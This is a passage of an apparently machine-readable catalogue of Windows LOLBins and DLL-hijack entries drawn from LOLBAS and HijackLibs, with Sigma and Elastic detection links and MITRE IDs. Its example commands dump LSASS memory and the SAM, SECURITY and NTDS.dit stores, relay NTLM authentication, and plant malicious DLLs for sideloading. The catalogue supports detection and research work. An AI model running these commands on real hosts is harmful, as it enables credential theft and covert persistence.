        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_rdrleakdiag_process_dumping.yml"
      },
      {
        "type": "elastic",
        "url": "https://www.elastic.co/guide/en/security/current/potential-credential-access-via-windows-utilities.html"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml"
      }
    ],
    "examples": [
      {
        "description": "Dump process by PID and create a dump file (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`). (Dump process by PID.)",
        "command": "rdrleakdiag.exe /p 940 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1"
      },
      {
        "description": "Dump LSASS process by PID and create a dump file (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`). (Dump LSASS process.)",
        "command": "rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1"
      },
      {
        "description": "After dumping a process using `/wait 1`, subsequent dumps must use `/snap` (creates files called `minidump_<PID>.dmp` and `results_<PID>.hlk`). (Dump LSASS process mutliple times.)",
        "command": "rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /snap"
      }
    ],
    "execution": {
      "template": "rdrleakdiag",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-credential-rdrleakdiag",
    "install": [
      {
        "method": "choco",
        "package_name": "rdrleakdiag",
        "commands": [
          "choco install rdrleakdiag"
        ]
      }
    ],
    "mitre_ids": [
      "T1003",
      "T1003.001"
    ],
    "name": "rdrleakdiag",
    "namespace": "windows:credential:rdrleakdiag",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1299071304805560321?s=21",
        "url": "https://twitter.com/0gtweet/status/1299071304805560321?s=21"
      },
      {
        "label": "",
        "url": "https://www.pureid.io/dumping-abusing-windows-credentials-part-1/"
      },
      {
        "label": "84",
        "url": "https://github.com/LOLBAS-Project/LOLBAS/issues/84"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# reg\n\nreg is a Windows LOLBin. Used to manipulate the registry Located at: C:\\Windows\\System32\\reg.exe; C:\\Windows\\SysWOW64\\reg.exe.\n",
    "_source": "reg.md",
    "allowed-tools": [
      "reg"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.alternate-data-stream",
      "credential.dump"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used to manipulate the registry Located at: C:\\Windows\\System32\\reg.exe; C:\\Windows\\SysWOW64\\reg.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regedit_import_keys.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_reg_dumping_sensitive_hives.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/attempted_credential_dump_from_registry_via_reg_exe.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/f6421d8c534f295518a2c945f530e8afc4c8ad1b/rules/windows/credential_access_dump_registry_hives.toml"
      },
      {
        "type": "ioc",
        "description": "reg.exe writing to an ADS"
      }
    ],
    "examples": [
      {
        "description": "Export the target Registry key and save it to the specified .REG file within an Alternate data stream. (Hide/plant registry information in Alternate data stream for later use)",
        "command": "reg export HKLM\\SOFTWARE\\Microsoft\\Evilreg {PATH_ABSOLUTE}:evilreg.reg"
      },
      {
        "description": "Dump registry hives (SAM, SYSTEM, SECURITY) to retrieve password hashes and key material (Dump credentials from the Security Account Manager (SAM))",
        "command": "reg save HKLM\\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\\SAM {PATH_ABSOLUTE:.3.bak}"
      }
    ],
    "execution": {
      "template": "reg",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-credential-reg",
    "install": [
      {
        "method": "choco",
        "package_name": "reg",
        "commands": [
          "choco install reg"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004",
      "T1003.002"
    ],
    "name": "reg",
    "namespace": "windows:credential:reg",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "cdd2d0d0ec9abb686f0e89306e277b8f",
        "url": "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f"
      },
      {
        "label": "",
        "url": "https://pure.security/dumping-windows-credentials/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "defense-evasion",
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# rpcping\n\nrpcping is a Windows LOLBin. Used to verify rpc connection Located at: C:\\Windows\\System32\\rpcping.exe; C:\\Windows\\SysWOW64\\rpcping.exe.\n",
    "_source": "rpcping.md",
    "allowed-tools": [
      "rpcping"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "credential.dump"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used to verify rpc connection Located at: C:\\Windows\\System32\\rpcping.exe; C:\\Windows\\SysWOW64\\rpcping.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_rpcping_credential_capture.yml"
      }
    ],
    "examples": [
      {
        "description": "Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. (Capture credentials on a non-standard port)",
        "command": "rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM"
      },
      {
        "description": "Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set). (Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port)",
        "command": "rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM"
      }
    ],
    "execution": {
      "template": "rpcping",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-credential-rpcping",
    "install": [
      {
        "method": "choco",
        "package_name": "rpcping",
        "commands": [
          "choco install rpcping"
        ]
      }
    ],
    "mitre_ids": [
      "T1003",
      "T1187"
    ],
    "name": "rpcping",
    "namespace": "windows:credential:rpcping",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "RedTips",
        "url": "https://github.com/vysec/RedTips"
      },
      {
        "label": "974806438316072960",
        "url": "https://twitter.com/vysecurity/status/974806438316072960"
      },
      {
        "label": "873181705024266241",
        "url": "https://twitter.com/vysecurity/status/873181705024266241"
      },
      {
        "label": "1421144623678988298",
        "url": "https://twitter.com/splinter_code/status/1421144623678988298"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# sqldumper\n\nsqldumper is a Windows LOLBin. Debugging utility included with Microsoft SQL. Located at: C:\\Program Files\\Microsoft SQL Server\\90\\Shared\\SQLDumper.exe; C:\\Program Files (x86)\\Microsoft Office\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis\\AS OLEDB\\140\\SQLDumper.exe; C:\\Program Files\\Microsoft Power BI Desktop\\bin\\SqlDumper.exe.\n",
    "_source": "sqldumper.md",
    "allowed-tools": [
      "sqldumper"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "credential.dump"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Debugging utility included with Microsoft SQL. Located at: C:\\Program Files\\Microsoft SQL Server\\90\\Shared\\SQLDumper.exe; C:\\Program Files (x86)\\Microsoft Office\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis\\AS OLEDB\\140\\SQLDumper.exe; C:\\Program Files\\Microsoft Power BI Desktop\\bin\\SqlDumper.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/f6421d8c534f295518a2c945f530e8afc4c8ad1b/rules/windows/credential_access_lsass_memdump_file_created.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml"
      }
    ],
    "examples": [
      {
        "description": "Dump process by PID and create a dump file (Appears to create a dump file called SQLDmprXXXX.mdmp). (Dump process using PID.)",
        "command": "sqldumper.exe 464 0 0x0110"
      },
      {
        "description": "0x01100:40 flag will create a Mimikatz compatible dump file. (Dump LSASS.exe to Mimikatz compatible dump using PID.)",
        "command": "sqldumper.exe 540 0 0x01100:40"
      }
    ],
    "execution": {
      "template": "sqldumper",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout",
      "process-manip",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "windows-credential-sqldumper",
    "install": [
      {
        "method": "choco",
        "package_name": "sqldumper",
        "commands": [
          "choco install sqldumper"
        ]
      }
    ],
    "mitre_ids": [
      "T1003",
      "T1003.001"
    ],
    "name": "sqldumper",
    "namespace": "windows:credential:sqldumper",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "910969424215232518",
        "url": "https://twitter.com/countuponsec/status/910969424215232518"
      },
      {
        "label": "910977826853068800",
        "url": "https://twitter.com/countuponsec/status/910977826853068800"
      },
      {
        "label": "how-to-use-the-sqldumper-exe-utility-to-generate-a",
        "url": "https://support.microsoft.com/en-us/help/917825/how-to-use-the-sqldumper-exe-utility-to-generate-a-dump-file-in-sql-se"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# wbadmin\n\nwbadmin is a Windows LOLBin. Windows Backup Administration utility Located at: C:\\Windows\\System32\\wbadmin.exe.\n",
    "_source": "wbadmin.md",
    "allowed-tools": [
      "wbadmin"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Chris Eastwood",
    "capabilities": [
      "credential.dump"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Windows Backup Administration utility Located at: C:\\Windows\\System32\\wbadmin.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_dump_sensitive_files.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_restore_file.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_wbadmin_restore_sensitive_files.yml"
      },
      {
        "type": "ioc",
        "description": "wbadmin.exe command lines containing \"NTDS\" or \"NTDS.dit\""
      }
    ],
    "examples": [
      {
        "description": "Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx) (Snapshoting of Active Directory NTDS.dit database)",
        "command": "wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\\Windows\\NTDS\\NTDS.dit,C:\\Windows\\System32\\config\\SYSTEM -quiet"
      },
      {
        "description": "Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers. (Dumping of Active Directory NTDS.dit database)",
        "command": "wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\\Windows\\NTDS\\NTDS.dit,C:\\Windows\\System32\\config\\SYSTEM -notRestoreAcl -quiet"
      }
    ],
    "execution": {
      "template": "wbadmin",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-credential-wbadmin",
    "install": [
      {
        "method": "choco",
        "package_name": "wbadmin",
        "commands": [
          "choco install wbadmin"
        ]
      }
    ],
    "mitre_ids": [
      "T1003.003"
    ],
    "name": "wbadmin",
    "namespace": "windows:credential:wbadmin",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "windows-privesc-with-sebackupprivilege-65d2cd1eb96",
        "url": "https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "examples:\n  - description: \"Place malicious aclui.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\aclui.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\shrpubw.exe\\\"\"\n\n# aclui.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\shrpubw.exe (Sideloading)\n- %PROGRAMFILES%\\Windows Kits\\10\\bin\\%VERSION%\\x86\\oleview.exe (Sideloading)\n\n**Acknowledgement:** Adam\n\n**Acknowledgement:** Lampros Noutsos\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-aclui.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "aclui.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "aclui.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-aclui",
    "name": "aclui.dll",
    "namespace": "windows:dllhijack:aclui",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/"
      },
      {
        "label": "Reference",
        "url": "https://www.contextis.com/en/blog/dll-search-order-hijacking"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/aclui.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious acrodistdll.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Adobe\\\\Acrobat %VERSION%\\\\Acrobat\\\\acrodistdll.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Adobe\\\\Acrobat %VERSION%\\\\Acrobat\\\\AcroDist.exe\\\"\"\n\n# acrodistdll.dll\n\n**Vendor:** Adobe\n\n**Expected Location:** %PROGRAMFILES%\\Adobe\\Acrobat %VERSION%\\Acrobat\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Adobe\\Acrobat %VERSION%\\Acrobat\\AcroDist.exe (Sideloading)\n",
    "_source": "windows-dllhijack-acrodistdll.md",
    "author": "Pokhlebin Maxim",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "acrodistdll.dll — Sideloading hijacking (Adobe)",
    "execution": {
      "template": "acrodistdll.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-acrodistdll",
    "name": "acrodistdll.dll",
    "namespace": "windows:dllhijack:acrodistdll",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://go.recordedfuture.com/hubfs/reports/cta-2022-1223.pdf"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/acrodistdll.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious activeds.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\activeds.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\applysettingstemplatecatalog.exe\\\"\"\n\n# activeds.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\applysettingstemplatecatalog.exe (Sideloading)\n- %SYSTEM32%\\agentservice.exe (Sideloading)\n- %SYSTEM32%\\dsadd.exe (Sideloading)\n- %SYSTEM32%\\dsget.exe (Sideloading)\n- %SYSTEM32%\\dsmod.exe (Sideloading)\n- %SYSTEM32%\\dsrm.exe (Sideloading)\n- %SYSTEM32%\\gpfixup.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-activeds.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "activeds.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "activeds.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-activeds",
    "name": "activeds.dll",
    "namespace": "windows:dllhijack:activeds",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/activeds.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious adsldpc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\adsldpc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\agentservice.exe\\\"\"\n\n# adsldpc.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\agentservice.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\sppextcomobj.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-adsldpc.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "adsldpc.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "adsldpc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-adsldpc",
    "name": "adsldpc.dll",
    "namespace": "windows:dllhijack:adsldpc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/adsldpc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious aepic.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\aepic.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\psr.exe\\\"\"\n\n# aepic.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\psr.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-aepic.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "aepic.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "aepic.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-aepic",
    "name": "aepic.dll",
    "namespace": "windows:dllhijack:aepic",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/aepic.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious amindpdfcore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\GeekerPDF\\\\GeekerPDF\\\\amindpdfcore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\GeekerPDF\\\\GeekerPDF\\\\GeekerPDF.exe\\\"\"\n\n# amindpdfcore.dll\n\n**Vendor:** AmindPDF\n\n**Expected Location:** %PROGRAMFILES%\\GeekerPDF\\GeekerPDF\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\GeekerPDF\\GeekerPDF\\GeekerPDF.exe (Sideloading)\n\n**Acknowledgement:** Still Hsu\n",
    "_source": "windows-dllhijack-amindpdfcore.md",
    "author": "Still Hsu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "amindpdfcore.dll — Sideloading hijacking (AmindPDF)",
    "execution": {
      "template": "amindpdfcore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-amindpdfcore",
    "name": "amindpdfcore.dll",
    "namespace": "windows:dllhijack:amindpdfcore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/78a60bea5693138c771386b8c22f0adfe6765a6313b80488bd1084bc9ed370bd"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/amindpdfcore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious apphelp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\apphelp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\compmgmtlauncher.exe\\\"\"\n\n# apphelp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\compmgmtlauncher.exe (Sideloading)\n- %SYSTEM32%\\sdbinst.exe (Sideloading)\n- %WINDIR%\\explorer.exe (Search Order)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-apphelp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "apphelp.dll — Sideloading, Search Order hijacking (Microsoft)",
    "execution": {
      "template": "apphelp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-apphelp",
    "name": "apphelp.dll",
    "namespace": "windows:dllhijack:apphelp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/apphelp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious applicationframe.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\applicationframe.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\applicationframehost.exe\\\"\"\n\n# applicationframe.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\applicationframehost.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-applicationframe.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "applicationframe.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "applicationframe.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdout"
    ],
    "id": "windows-dllhijack-applicationframe",
    "name": "applicationframe.dll",
    "namespace": "windows:dllhijack:applicationframe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/applicationframe.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious appvisvsubsystems64.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Common Files\\\\microsoft shared\\\\ClickToRun\\\\appvisvsubsystems64.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Microsoft Office\\\\root\\\\Office%VERSION%\\\\winword.exe\\\"\"\n\n# appvisvsubsystems64.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Common Files\\microsoft shared\\ClickToRun\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Sideloading)\n\n**Acknowledgement:** Still Hsu\n",
    "_source": "windows-dllhijack-appvisvsubsystems64.md",
    "author": "Still Hsu",
    "capabilities": [
